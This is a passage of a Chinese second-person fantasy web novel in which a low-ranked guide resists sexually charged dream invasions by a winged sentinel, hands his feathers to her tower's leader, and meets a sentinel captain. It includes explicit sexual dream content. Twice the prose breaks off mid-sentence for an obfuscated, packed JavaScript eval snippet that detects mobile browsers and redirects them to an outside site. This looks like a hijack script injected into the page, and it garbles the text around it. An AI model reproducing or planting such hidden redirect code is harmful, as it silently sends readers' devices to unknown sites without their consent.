你摸了摸被反复掐捏舔咬的脖子，又抓了抓原本就睡得像个鸡窝的发型，发泄般的把枕头往墙上扔去。 捅自己的胸口，很痛的啊，混蛋！！ 你深呼吸、再深呼吸。 就当自己被狗咬了一口、不……严格说来是被翻来覆去咬了好几遍，算了，什么场面没经历过，圣所与天枢白塔的矛盾，要等剧情线的后期才会爆发了。 只要你赖在白塔中不出门，便跟圣所扯不上任何的关系。 你的心情终于慢慢的平静下来了。 半空中，一根洁白的长羽，慢悠悠的打着旋儿落在了你的膝盖上。 你用两根手指拎起这根羽毛，详细端详，与前晚的那个羽毛不同，这好像是翅膀末梢的羽毛，还有些微的残破，在阳光下，似乎有沾染有金色的杂质。 圣所那个三翅鸟人的羽毛么？ 究竟是实体化的畸形器官?还是精神力的具象化？ 你仔细摸了一摸，觉得都不像、又都像…… 在这个世界观的基础设定中，圣所出品的哨兵是与天枢白塔、深渊黑塔完全不同的存在。 据闻，圣所的哨兵和向导，都是‘神造’，因而体有异相，圣所宣扬，那是因为圣使作为神的代行者、在世间行走，怀有异相，是为区分与人的不同，是神的恩慈。 所以，在天枢白塔与深渊黑塔定义中的畸化哨兵，在圣所的解释中却成了力量强横的代表。 在所有关于圣所的小道消息中，圣所一向只有哨兵在外行走，稀少有圣所向导的出现，而在你入梦之后，才惊觉其真相—— 你想了一想，决定还是把这个东西留下。 说不定以后能有用呢？ 而且你有预感，如果你不收下，那个鸟人会一而再再而三的送羽毛来骚扰你的。 在没查明有关这件事的所有信息之前，干脆先收下，省得触怒他、平添没必要的波折。 8. 那些鸟人 发情天使 ☆ * 你没精打彩的趴在电脑前，等着到点儿下班。 好困、好困、好想睡觉…… 一连七天，为了规避鸟人哨兵的梦境入侵，你睡觉都开着精神屏障，自然睡得不是很踏实。 困、困、困死了…… 眼皮撑不住渐渐沾在一起，然后恍惚中，狭小的治疗室内，传来隐约的圣歌…… {神明爱世人……溺爱世人……泥泞的生路…… ……} 你猛然惊醒！ 冲进盥洗室洗了一把冷水脸，强迫自己清醒。 玛得！ 差点又被那个鸟人拉入梦境！ 叮——铃~~铃~~~~ 正在你放声咒骂某个鸟人的时候， 内线电话，响了。 你抬眼看了一下墙上的时钟，还有三分钟下班，这个时候来电话，不是加班就是加班，你自然不会去接。 然而， 你不去山那边，山偏要挤挤挨挨的撞到你这边。 足足响了一分钟之后，停了。 换扩音器响了。 伴随着滋滋的电流声，是秃头领导的声音：“小邵啊，还没到下班时间，别溜号啊，迅速到我这里来一趟。” 你还能怎么着，只能懒洋洋的应了一声： “怎么会呢，一直坚守着岗位呢！就来了，领导。” 直系领导是一个地中海秃顶的中年向导，据说是第一批开拓天枢防线的功臣，战场上受过伤，现在退下来，到后勤部养老。 在整个28层C区他辖下的一百来号C级向导中，十分喜欢盯着你一个人薅羊毛，经常指派一些没有绩效点的临时活计给你。 这不，你刚关上办公室的门，他就开门见山的说要带你去汪汪队义务劳动。 “小邵啊，汪汪队、啊呸，我怎么也被你给带歪了，”直系领导抱怨了两句，进入正题：“白塔近卫队近期来了一个优秀的新人，前段时间内部训练的时候不知轻重，把队友的精神体给打伤了好几个……” “不过问题不大，那几个伤员都是情绪稳定的犬系优秀哨兵，只需要我们做一次伤情评估、外加来一次浅层的群体疏导就完事儿了。” “你知道的，向导的评级只是一个综合素质，你呀，就是吃了没法具象出精神体的大亏，不然凭你的群体疏导能力，混上一个B+绝对没问题。” “小邵啊，你考虑一下。” 你就知道，好事肯定轮不上你，群体疏导对精神体量的要求和损耗特别大，普通的C级向导肯定是做不到，而如果要申请B级向导的群体疏导，这私下斗殴的报告就要一层层往上报。 你认识汪汪队的队长，那是一个正直的哨兵，所以真相就是—— “领导，您这是又收了谁的请托啊？汪汪队的内讧，他们想私了？所以才不敢通过正常途径去申请疏导？” 一般情况下，在不影响工作指标的情况下，白塔的注册向导私下接点活儿是完全可以的，属于某种默认的潜规则。 但前提是，得有报酬，那有白白做人情的道理，还是给秃头领导做人情？ 所以，你暗示性极强的说： “领导，我这几天休息得不好，精神力减弱，可能干不了群体疏导。您看，要不要找找隔壁组的C级首席？” 显然，秃头领导也相当了解你。 “10个积分。” “咳，领导，我觉得按我现在的状态，群体疏导还是有心无力啊可，一对一应该还能勉强解决……” “30个积分。” “咳，领导，我觉得我好像喝几支补充液，也能勉强应付，先说了，是勉强啊……” “你够了啊，55个积分，爱干不干。” “90个，少了不干。” “85！” “成交！” 于是，就这样，你提着治疗箱，来到了汪汪队的训练场。 意外的是，那位正直的汪汪队队长不在。 唔，看来是小狗崽子们的私下斗殴啊。 咔嗒—— 你推开了训练场厚重的大门，泛着寒霜的雾气从泄气阀中争前恐后的涌出—— 果然跟你预期的差不多。 但让你惊讶的是，它们的伤口泛着黑气，显然不是正常斗殴能够产生的。但秉承着多做事少找事的原则，你什么都没问。 与跟秃头老板的话痨不同，对于受伤狗狗们的热情围攻，你保持着专业的‘快、狠、准’的拔出手法，不到十分钟就迅速的处理完二十来条狗狗们的伤口…… 至于剩下的十分钟，趁着茫茫白雾的遮掩，你建立好了精神屏障。 张开双臂，笑眯眯，像个怪阿姨： “哎呀，乖乖们，到ee这里来。” “汪！” “嗷呜——” “汪、汪汪——” 你被毛茸茸们团团围住，一会儿摸摸边牧的头，一会儿又埋埋金毛的肚子，一会儿又抱起博美放在怀里狠狠的rua了好几把…… 此刻，你觉得你是天下最幸福的女人。 但你也知道不能太过分，一会儿犬系哨兵们的主意识该苏醒了，就不能这么放肆的把人家的精神体给rua来rua去了。 未免也太侮辱人了。 十分钟后，浓雾彻底散去。 精神体们念念不舍的回到了各自主人的图景内，训练场上七歪八拐的躺在地上、墙上、栏杆上的哨兵们的身形，就被所有人看得一清二楚了。 没有等那些缠人的哨兵爬起来向你道谢，你迅速合拢治疗箱，转身飞快的溜走了。 狗狗缠人你不怕，反而非常享受被毛茸茸包围的感觉。 可无毛的男人就算了。 你甚至记不太住他们五官长什么样，只记得犬系哨兵们过分热情。 * 群体抚慰对精神力的的耗费比较大，况且你又追求速战速决，你察觉到你的状态已经到达某个界限了。 回到宿舍后，饭都没心思吃，勉强洗漱了一下，倒头就睡。 睡前，强撑着朦胧的睡眼，看清楚了那85积分到账的短讯通知，你满意的笑了。 或许是消耗量过大，外加连着几天都没睡好的缘故，也或许是看到到账的积分，心情过于松懈了…… 才沾染枕头没多久，你就该死的发现！ 又！做！梦了！！ 起初，你还没察觉。 你只知道自己捧着积分到账的短讯，情绪非常兴奋，翻身起床就打算去食堂吃一顿庆祝一下。 就在你抱着类似与想要与谁约会的心态，从衣橱里挑选衣服和配饰的时候，你察觉到了不对劲儿。 有几个地方很违和。 首先，85积分虽然不少，但现在你手里已经有了三个VIP客户的预存服务卡，就拿壕的金主豹豹霍恩斯来说，存在你这里的，至少还剩将近30万的积分…… （不少说你瞧不起这85积分啊，只是说如果在刚来白塔，业务刚开张的时候，这个体量的私活儿确实能让你小小兴奋一把，并且乐意犒劳自己一顿好的……） 可现在嘛，自从你发现白塔食堂就算花费再高积分，也吃不到什么符合口味的‘好饭’，你就早放弃了这种无意义的行为。 只一个劲儿的沉迷存款，攒钱买房。 再然后，这种类似于‘与谁约会’的心态去挑选衣服和配饰……唔，这不是你的心情、不是你的欲望…… 那、这种，忐忑又激动，兴奋又惶惑、甚至卑微到甜滋滋的心态。 是谁的？ 当你意识到这一点的时候，你抬眸看向穿衣镜中的自己。 一声轻笑。 ‘是我的心情，是我的……’ ‘见到音音的第一眼，突然具象了吟游诗人歌颂的‘一见钟情’， ‘是我、是我一想到能见到你，就全身抑制不住的颤抖，那是比获取圣力还要期待的心情，比尽情杀戮还要兴奋战栗的的心情……’ 空灵的嗓音在半空微微振动，你看见镜中的自己，皱巴巴的睡衣渐渐变成了前一个梦中在圣所祭坛穿过的婚纱，裙摆处还留有前一个梦中沾染上的斑斑血迹。 你心里微微一惊，发现自己竟然连抬起一根手指的力气都没有。 然后你敏感腰窝被一双无形的手掐住，渐渐掐紧；耳后有温热的呼吸，缓缓的从后颈那一小块肌肤熨烫着往下…… 你沉下了眼眸，问：“亚利瑟斯，这次你又要做什么。” 你调查过他是谁。从隐匿在识海深处，从有关此异世的‘三卷’残破的剧情中，你动用了珍贵的魂力，仔细搜索过所有跟祂相关的信息。 尽管在掉落到这个世界之时，你的引导系统就处于长期沉眠的状态，你只能费力的人工搜索， 终于匹配到了一个关键人名—— 亚利瑟斯。 在第三卷的末日剧情中，在圣所几乎统御了整个大陆所有势力， 圣.亚利瑟斯。 那个以碾压性的实力、残暴的统御着末日大陆、有着神级哨兵之称的六翼圣使‘疯王座’亚利瑟斯。 只不过你完全没有想到， 在所有剧情都还没有展开前，这个勉强称得上是正常哨兵的三翅鸟人—— 竟然原本就是这么又神经、又疯批又难缠的性格吗？ 但在第一卷剧情的开场，他却早已死去，留下的传说中，让废土世界中的主角小队拼命寻找他的遗骸，他的每一滴血、每一块肉……因为那些残骸，虽然都有引发‘污染’的风险、却是能哪怕食用一小块，就能越阶晋级的精纯能量块。 特别是双瞳。 纯净的、无副作用的、代持者能通行整个末日的关键道具—— 圣光之轮。 * 而那双尚未进化成完全态的眼睛，此刻正静静的，从镜中，看着你。 “这样的游戏，好玩吗？” 第二对洁白的翅膀在你身后伸展开来，伴随着隐约的圣歌，狭小的宿舍内开始挤挤挨挨的下起了绒绒的雪…… 确切的说，是细密的绒羽，翅膀最内层的保温羽毛。 不比得外层羽毛的锋利，仿若雏鸟新生的稚嫩羽毛，只适合……薅来填充羽绒被了。 你开始发散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085679|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思维，努力的回忆，试图通过这样的方法，重新拿回对梦境的掌控能力。 身后传来一身轻轻的嗤笑—— ‘只要阿音高兴，我可以拔下所有的绒羽……唔，给我的音音做、羽绒被，这样，每晚阿音就能睡在我的味道里……啊嗯……只是想、就好兴奋……哈幸福啊……’ ‘噢，音音……全部都给音音~~’ 越说越不像话了，圣洁的回响混合着潮湿泥泞的欲望，试图催眠你进入永恒腥黏的梦乡…… ‘到圣所来，来……’ ‘要我的血肉也好、力量也好、成为我的向导……不、音音原本就是我的伴生向导，是我被夺走的另一半’ ‘阿音，成全我，供你支配’ 不行—— 不可以！ 原本应该用在救世荡涤上的‘圣纶之音’，却被这鸟人，玩儿成这种混杂着腥秽、泥泞、逆伦的邪典！ 你再也忍受不了这种精神污染， 转身反击！ 克制好来自魂息的烦躁，释放出第一层精神图景中的风向白鸟，半透明的羽翼在狭小的囚禁空间倏然展开，携裹着峡谷潮湿的疾风之力，一个至下而上的猛冲—— 白鸟化隼、冲散了湿厚羽层的腻人禁锢，在精神图景交错撞击的震荡之间，你用力挣脱，然后腰身一个轻巧的拧转，赤|裸的双脚便踩在了宿舍老旧脱皮的天花板上了…… 强行打破梦境融合的后果，就是空间的扭曲和崩塌。 此刻四周的环境如细沙般正在慢慢消融，你站在空间上下颠倒的狭小的宿舍里，面沉如水的看着对面圣所祭坛的血腥婚礼，正在被喷薄而出的灰暗雾气所蚕食吞噬…… 而那个制造幻象的罪魁祸首，便彻底暴露在你的视线中了。 祂满脸血泪，却挂着一个似乎幸福到眩晕的微笑，反手扯下了畸变的第二左翅， 在血色的献祭中，梦境又再次被强行被融合。 ‘不、不要离开’ 你垂眸，自上而下的看着紧抓着你脚踝不放的手，眼睫微颤，你回忆着在与他精神图景对撞交错时，瞥见的那些晦暗的场面，随意挑选了几个你能复述出来的最恶毒的字眼和句子、开始了冰冷的咒骂： ‘放开我、’ ‘贱人！’ ‘如此□□、污浊、你怎么配得上圣使之名！’ ‘贱人！’‘放荡！’ ‘你的脏手，没有资格碰触……’ 作为已成名的‘圣使’，代替圣所行走这片大地的代言人。他应该如深藏在自己记忆中的弱点那样，对同样的咒骂感到羞耻和退缩，再不啻感到愤怒和激动也好，这样你才能找到突破梦境禁锢的契机。 可是，出乎你意料的是—— 这个赤裸着上身、岔着双腿跪坐在地的哨兵，却在你的咒骂声中、献祭般的仰头，仿佛喘得更厉害了~~红潮慢慢从剧烈起伏胸膛弥漫上脸颊，大腿越分越开，拽住你脚踝的那只手，虽然克制着没有捏痛你，手的主人却意志坚定的、不容反抗的，狠狠一拉，便让你的脚踩到了他结实滚烫的大腿之上 而另一只克制不住的手，颤抖着、拉开了白金圣袍的下摆…… 啊、啊啊！ 你再也忍受不了这样的精神污染，被禁锢在这样的精神空间中，连闭眼也没用，他想让你看，你就得看，你不能说那玩意儿丑，只能说过于壮硕以至于跟那副圣洁天使的气质过分不搭！ 你忍无可忍的抬起脚，冲着那耀武扬威、激动吐水的粉硕玩意儿， 狠狠的踩了下去。 ‘圣光乍现’——刺目的白光伴随着哄鸣的管风琴共鸣，仿若天堂的纶音降下，又仿若圣泉喷发、圣使捧出心脏献祭，夜莺呜咽着死亡的悲鸣，献出最后的狂欢之曲…… 可是没用，这扭曲污糟的梦境还没结束。 于是，你只能用力的再次抬脚拧踩，带着一股踩爆的狠劲儿。 这样纠缠不休的梦境，只有尝到死亡的痛楚才能解脱，而你、不想再捅自己一刀了。 尽管是虚幻的死亡，可那种匕首插入胸膛的疼痛，却是真实的。 这次，就让那鸟人、去死吧！ 最好、疼死他！ …… …… 你成功的驱逐了梦境的入侵者，酣甜无梦的睡眠再次降临。 天亮了。 你全身酸软，缓缓的睁开了眼， 呼—— 太好了，是宿舍熟悉的天花板。 慢慢的吐出了那口憋闷的浊气，你捂着眼，不去看此刻正静静掉落在你枕边的绒羽， 但屏蔽不了的是，那一帧一帧浮现在脑海中的梦中场景…… 那什么、发情天使？ 你打了个寒颤，用力甩了甩头，寻思即便是你N世之前看过的那些小黄书，也没这么写play的啊！ 那个圣所，培养出来的所谓‘圣使’，都是些什么玩意儿！ 想到最后一幕，脚心那粗硕热烫、又滑溜黏腻的触感似乎还残留着，即便用力的踩下去，还会激动的越胀越大的吐出更多…… 你立刻觉得你的脚底不干净了。 9. 那些鸟人 * 为了摆脱鸟人的纠缠，你选择来一场坦白局。 在白鸮的引荐下，你见到了向导组的大领导，白塔唯一的S+级向导，并向她诉说了这段时间把你折腾得不清的梦境。 “所以，事情就是这样，东西在这里，剩下的……就拜托行政官阁下了。” 你把一个小熊饼干盒摆在了总指挥官干净整洁的办公桌上，然后打开。 盒子里赫然躺着三根长短不一的羽毛，被你强迫症一般的按长短顺序、从左到右的排列。 第一根是形状最为完美、锋利的尾羽，也最长、最洁白、最漂亮；在柔和的光线下，泛着珍珠般的光泽； 第二根稍短，羽毛末梢带着点圆润的弧度，但整体有些微的破损，羽管根部凝固着一点暗金色的血痂，仿佛是被硬生的拔下来的； 第三根则是最短小的绒羽，蓬松又柔软，仿佛幼鸟刚出壳时、脱落的第一根羽毛，颤巍巍的细绒在空气中摆动； 身为总行政官的S+向导虽然贵为领导的领导的……领导，但态度却比你家那个地中海秃头领导要和蔼可亲多了。 她态度友善：“不用太拘束，你跟着白鸮，称呼我安老师就好。” 你从善如流：“安老师。” 安老师微笑着点了点头，温柔如水的精神力轻柔的弥漫过整个办公室，包裹住你、也包裹住了饼干盒中的三根白羽。 三根白羽就这么轻柔的浮动在半空中了，沉沉浮浮、明明灭灭。 “这气息……确实是圣所那位阁下的东西。” 安老师的指尖隔空拂过那根染血的短羽，神色渐渐凝重：“而且……蕴含相当强的力量。” 她细细的读取着染血短羽上附着的浅层信息—— ‘吾之……血肉’‘吾之许诺’‘吾之庇护’‘吾之……’ ‘吾之赠予’ 她皱眉，显然杂金色的哨兵信息素中的扭曲与粘稠之意，让S+向导也非常不喜，安老师轻叹，下了结论。 “但这并不是简单的‘赠予’，不、不是那种‘无私’和‘美好’的意图……” “这是一种‘精神标记’。” 来自圣所超S+哨兵的‘精神标记’……唔，还不如说是能够促成精神畸变、血肉同化的‘标记’？！ 对普通的向导和哨兵而言，是具象到现实中的精神污染物还差不多！！ 安老师吞咽下了未竟之语，你也表现出一无所知的样子。 但办公室的气氛却逐渐凝窒起来。 就在你琢磨着如何把这个事情做一个收尾的时候，一个圆溜溜、泛着水润光泽的蓝色脑袋，悄咪咪地从安老师身后的虚空中探了出来。 那是一只蓝色的量子海豚，它好奇地打量着你。在得到主人的允许后，便欢快的摆着尾鳍游到了你的身边，还用圆圆的脑袋一个劲儿的拱着你垂在身侧的手。 你很想伸手摸一摸，但克制住了。 你飞快的抬头看了一眼办公桌后的S+向导。 安老师微笑着说：“阿雅很喜欢你，也很遗憾你没有成型的伴生精神体，你摸摸它吧。” 你高兴的应了一声‘好的’，然后毫不客气的□□了一把小海豚。 撸海豚的快乐暂时冲淡了空气中僵持的气氛。 安老师嗓音柔和：“这东西交给塔里处理，你愿意把使用权和所有权都转交给白塔吗？” “当然可以，任您处置。” “作为交换，你有什么想要的吗？积分，升职，还是其他？” “阁下，我想要一段好眠，再也不要做相关的梦了，那些奇形怪状的梦……简、简直是不可名状的精神污染啊！” “我明白了，”见多识广的行政官阁下，显然对圣所的风格也有一定的了解，她的嗓音含着一丝友善的笑意：“塔底圣泉池将为你开放三日，这三日如果你有什么精神异动，我会为你梳理。” 你感激道：“阁下，我级别太低，即便有异动，泡在圣泉池中也应该能够完全解决。” 她点了点头。 在你起身离开的时候，她突然叫住了你：“邵向导，你知道鸟类的习性么？” 她平铺直叙的话语中，带着一丝不易察觉的探究：“有些鸟类，在求偶的季节，会精心挑选最漂亮的羽毛，或者收集闪亮的石子、贝壳，郑重地送到心仪对象面前。” 她的目光慢慢落在那根蜷曲的绒羽上，意有所指，“在它们的认知里，对方收下了，往往就意味着……接受了筑巢的邀请。” “而大部分鸟类，在一个求偶季，只会选择一位伴侣。” “更有某些鸟类，终其一生，都只会认定唯一的那一个，即便迁徙、死亡，都不能将其分开。” “这些，你都清楚吗？” “不、不太清楚……” 你僵硬的弯出了一个傻乎乎的笑容：“不过，现在清楚了。” 安老师了然一笑，指尖再次隔空点了点那枚最柔软的绒羽，语气带上了一丝深意：“尽管天枢白塔与圣所理念多有不同，但不可否认，亚利瑟斯是一位极其强大、也极其……特殊的哨兵。他从未需要过向导，也无人能窥见他的软肋。” “这样蕴含着他本源力量与……心意的‘赠予’，即便不是常规定义中的正面情感，但在合适的时机，却是身为向导的你，能够打开对方精神之门的钥匙……” “这意味着，拥有这三枚白羽的向导，将有三次机会—— “驱策圣所的那位阁下，为其所用。” “这样难得的机会，”她看向你，目光平和却极具穿透力，“你真的愿意把它上交给白塔……真的，能不后悔、毫无留恋的舍弃？” 办公室内一片寂静，只有精神体海豚阿雅在你身边好奇地吐着水泡的细微声响。 你散漫的神情终于严肃了一点点，你转身，微微鞠躬:“阁下，是白塔收留了我，使我免于饿死街头，免于渴毙荒漠，免于无声无息地烂在某个避难所日出之前的肮脏角落。我，忠于白塔。” “更何况，这样的东西，于我这样一个、伴生精神体缺失的C级向导而言……是灾难，是避之唯恐不及的东西，何谈舍弃？” “是我邵音，在向伟大的白塔寻求庇护。” 你再次深深鞠躬。 毫无疑问—— 这样的回答，让身为白塔S+向导的总行政官阁下非常、非常满意。 赞许的笑意在她唇边绽放。 “很好。去吧，好好休息。”她挥了挥手，那三根漂浮的羽毛被无形的力量牵引着，落回饼干盒，盖子“咔哒”一声合拢。 跟高情商，高智商的聪明人打交道就是这么爽快。 你再次礼貌的告别了这位总行政官阁下，转身，轻轻拉开了那扇厚重的办公室大门。 * 一开门你就愣住了。 白鸮一动不动的杵在门外，如幽灵一般，周身散发着生人勿近的低气压。 那双漂亮的、此刻却燃烧着怒火的血红眼眸，死死地盯着你，仿佛要在你身上烧出两个洞来。 “你为什么收下？还瞒着我……收了三次？！你知不知道你惹上的是什么级别的麻烦？！” 你轻咳一声，先转身关好门，再赶紧推着他朝电梯走去，低声劝：“莺莺，你看看地点啊，别在行政官阁下这里闹啊……有什么事，我们回去再说啊~~” “说什么？再想什么说辞，可以再骗我一次?” 他不得不压低嗓音，然后用力撂开了你搭在他肩膀上的手。 然后，像是气极了，又像是失望透顶的狠狠地瞪了你一眼，你心里莫名一揪，后知后觉的从心底泛起一点心虚。 是啊，白鸮是总行政官阁下最宠爱的入室弟子。这次，你能这么容易的见到这位传奇级别的S+向导，完全是托了白鸮的福，走的后门。 你承认你是用了一点小小的‘语言艺术’，让白鸮以为你想上进、你想私下拜入安老师门下，他还兴冲冲的给你提点了不少安老师的喜好。 不过嘛~~什么所谓好友，就必须坦诚相待、实话实话？你这不是担忧朋友的身体，怕他气坏了，才迂回的上演了一场语言的行为艺术嘛~~ 你可不敢触犯白鸮的逆羽，他脾气大得很。 毕竟你记得很清楚，在最开始，那鸟人朝你硬塞了两次羽毛，都被现场的白鸮给当场烧成了渣渣~~ 如果一开始就让白鸮知道，你找上安老师的真正目的…… 嘶——你不敢想象白鸮当场发飙的那画面有多美。 现在就不一样了，这里毕竟是白塔行政楼的核心楼层，作为一个冉冉上升的白塔新星，怎么着也会注意点影响吧。 还没等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085680|179571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想好怎么开口解释……当然你也没打算解释，你只是在思考怎么再次忽悠过去。 白鸮猛地加快了脚步，只留下一个怒气冲冲的背影对着你，以及几声压抑却暴怒的嗓音在空旷的走廊里回荡： “邵音！” “我要跟你绝交！” “彻底绝交！！！” 听闻这话，你反而把那颗悬着的心缓缓的放回了肚子里…… 绝交啊~~~绝交好啊，这意味着最短一周、最长有三个月，白鸮不会再搭理你。 正好，你也有点别的‘事情’想去做。 之后，再买点礼物，哄哄他就好了。 * 事情总算过去了。 上交了那三枚白羽之后，你又能好好的享受酣睡无梦的夜晚了。 日子就这么早也过，晚也过。 摸鱼也过。加班也过。 在这期间，白色荒野的畸变和污染，在圣所和白塔的联手下，终于得到了有效的扼制。尽管丢失的城镇已被划为禁区。但人类的生存，还在这片土地上继续。 这已经是最好的结果了。 只不过，战后胜利果实的分配和资源的划分，圣所和白塔却有不同的意见。 双方谈了好几轮，在关键利益上、一直没有达成一致。 这不，连一向难得出白塔的总行政官，都不得不亲自前往圣所会晤。 但这些都跟你这个C级小向导没有什么关系。 你只关心早饭、午饭和晚饭。 你只关心食堂有没有除了营养液、合成肉、维生素面包之外的新鲜食物。 而今天，运气不错。 白塔培育区研究的变种土豆，成熟了一大批，食堂根据新食材的特色，创新了几个新菜色。 有地三鲜、红烧合成肉，凉拌变种土豆丝。 你吃得很开心。 却不小心一下子吃太撑。 于是你揉着略微鼓胀的小腹，出现在议事厅前阔大的广场上，慢吞吞的沿着高大围墙的阴影遛弯消食~ 刚走到正对议事厅大门的位置，一股极其强烈的存在感，如骤然出鞘的刀锋，毫无预兆地切断了午后慵懒的空气。 你脚步微顿，慢慢的抬眼望去。 视线掠过广场的白石地面，阳光暖洋洋地洒在其上，强烈的眩光晃得人有点头晕。远处停机坪上，运输型飞艇正在忙碌的卸货。 而停机坪连接议事厅侧翼的专用通道出口，一群穿着深灰色近卫队作训服的哨兵正鱼贯而出。而与往常不同的是，走在最前面的七人小队却是一副西装革履的模样，与哨兵们惯常的风格大相径庭。 哦，看来是护送行政官前往圣所谈判的近卫团回来了。 就是不知道，这次白塔出动了如此顶格的外交谈判层级，有没有拿到想要的结果…… 被注视的感觉过于强烈，你缓慢的眨了眨眼，才认出被簇拥在中间的那一位—— 明明是一袭出席隆重会议的装扮，一身走在T台也毫不违和的优秀身材，偏偏气质游离在绅士优雅与随时可以暴发的力量感之间，彰显出一种强烈的、引而不发的X吸引力。 是熟人呢~ 是汪汪队、噢，不，是白塔护卫队的队长。 陆烬。 与霍恩斯一样， 是你重要的VIP积分客户，三大金主爸爸之一。 你印象中，这位队长总是一身作战服，神情严肃冷淡，为人正直，善于克制反应，除了你在治疗室中见识过的那几次极少数的失控时刻，平常的他都是最遵守向哨之间的规定的。 很少见他以这样一副西装革履的模样出现呢，让你脑海中蓦然浮现出‘西装暴徒’几个字。 他直直的朝你看来。 视线穿透广场上稀薄的人影，精准、锐利、毫不避讳地钉在了你身上。 仿佛锁定猎物般的，死死不放。 你微微一窒，撇开了视线，心里念叨着让这队人赶快走开。 就在距离议事厅大门还有十几米的时候，他却脚步一顿，离开了簇拥的人群，一边举手勒令部下留在原地，一边独自的、朝你走来。 离得近了，你便看到梳拢得一丝不苟的黑发下，那张极其英俊贵气的脸。 “邵音。” 他压抑着低沉暗哑的嗓音，直呼你名。 10. 黏人狗狗 * 他在你面前站定了。 深黑色西装，剪裁精良得像第二层皮肤，勾勒出宽肩窄腰的凌厉线条。长腿一迈，便能把同行的人甩后好几个身位。 毕竟是手持VIP卡的三大金主爸爸之一，你不好太过于敷衍，只能挂上营业性微笑‘嗨’了一声，就算打过招呼了。 “邵向导。” 低沉悦耳，如同大提琴弦音的声音响起。 “陆队长，”你微笑，寒暄：“真巧呀。” “刚开完会吗？” “是的。护送行政官去圣所协商，刚回来。” “有陆队长出面，想必此行一切顺利。” 他言简意赅，目光却一寸一寸的扫过你脸上的每一个细微表情。 你保持着一种恰当的社交分寸，小小的恭维了一句，期盼着他聊完就走。 陆烬眉眼微沉，一股干燥的、浸染着高纬度海拔的林间松塔般的信息素，混合着白兰地与昂贵皮革的余味，强势地笼罩了过来。 你皱眉。 就向哨间的信息素礼仪而言，这样的距离过近了。 有点奇怪。 陆烬一向是最恪守规矩、最懂礼仪的。 极少会如此强势的打破社交距离，并且在向导面前、毫不收敛自己信息素中的侵略性。 真不像他。 这次去圣所……发生了什么？ 你仰头看他。冷白皮的肤色在正午冷硬的光线下，白得有些晃眼。一丝不苟的黑发下，是一张极其英俊正气的脸、此刻却带着一股隐约的、暴躁的攻击性。 你随即想到，就算是在与圣所的的谈判结果不那么如人意？在对峙中，受气了？憋屈了？ 可这跟你有什么关系？ 犯得着使用信息素威慑么？ 真让人不爽。 你笑容变淡了一点，动作明显的退后了两步，拉开了社交距离。 陆烬深棕色的瞳孔微缩，察觉到了你的不喜，沉沉的吐了一口气：“抱歉。” “陆队长在对什么事说抱歉？”为了不让社交气氛继续尴尬下去，你装傻，敷衍笑道：“是前几日队里新人失控的事吗？” 此刻的他，高鼻薄唇，下颌线紧绷。似乎心情很不好的样子，但你和他虽然有业务往来，但非工作时间的私下相处并不多，一向不如与霍恩斯之间那么随意，自然也就不想去多嘴的问为什么了。 甚至连刚才受到的小小冒犯，你都不打算浪费心力去计较。 陆烬似乎想解释：“跟前几日队里的事无关，是我……” 他存在感过分强烈的堵在你面前，你却不想听他再说下去，便突兀的打断了他的话，笑着调侃：“啊！陆队长千万不要介意，事情都处理好啦，请别放在心上，更何况是领导安排，报酬也足够丰沃。” 摒弃脑海里的杂念，你继续寒暄：“想必陆队长事务繁忙，我就先回宿舍，不打扰……” 还没说完，你就打算转身开溜。 然而S+哨兵的肢体运动能力完全不是你能比拟得上的，你还未正式踏出离开的步伐，就被再次堵在了高大哨兵的胸前，害得你差点傻愣愣的撞上去。 那一身裹在文明外衣下的腱子肉，是有多硬，你完全是清楚的。 会动态预判，了不起啊！ 你开始不耐烦起来，这人将近一米九的身高，就两人这么近的交谈距离，你得被迫仰着头看他，脖子老这么抻着，可费老劲儿了。 你急忙后退了一大步，轻笑：“哎呀，明明这个广场这么大，可突然觉得好闷啊，可能太阳太大了吧。” 只是几句寒暄话而已，完全不用以这样几乎贴到你身上的距离来说，对吧。 你心里疯狂吐槽，脸上便不由自主的带出了一点不悦的神色。 陆烬眼中飞快的闪过一丝懊恼的神色，也同样缓缓的后退了一步，低沉的嗓音带着一种你不想去了解的复杂情绪：“抱歉，邵向导。实不相瞒，确实有重要的情况，需要再次麻烦到您，心情便急了一点，请您原谅。” 你微愣，这么一长串句子，重复着说抱歉，态度近乎卑微。这还是那个说一个字，砸一个坑、少言寡语的汪汪队长？ 不过他态度这么诚恳，你也就把刚才那点小冒犯抛在了脑后。 “有事找我？”你眉梢微挑，客户主动上门，通常意味着……大额积分进账。虽然眼前这位的处理和安抚工作，比霍恩斯要复杂一些，但足够抵消辛苦的高额积分，使得你十分乐意接下他的私人委托单。 更何况，霍恩斯…… 你摇摇头，赶紧把不必要的思绪甩出脑海。 你迫使自己集中精力，应付当下：“陆队长有什么吩咐？” 陆烬深邃的棕眸看着你，那眼神仿佛能穿透你懒散的伪装，直抵你心里七弯八拐的小算盘，以及……刚才那一瞬间的走神。 他顿了顿，声音低沉了几分：“这次去圣所，动了手。情况有点不稳，总行政官为我们做了群体治疗，表面伤口愈合了，但我感觉精神图景深处还有残留的不稳定。普通安抚无效。” 你心里如惊雷炸起。 短短的几句话，信息可太多了。 什么样的伤害，要劳动白塔的唯一S+向导出手？ 更可怕的是，还是群体治疗？！ 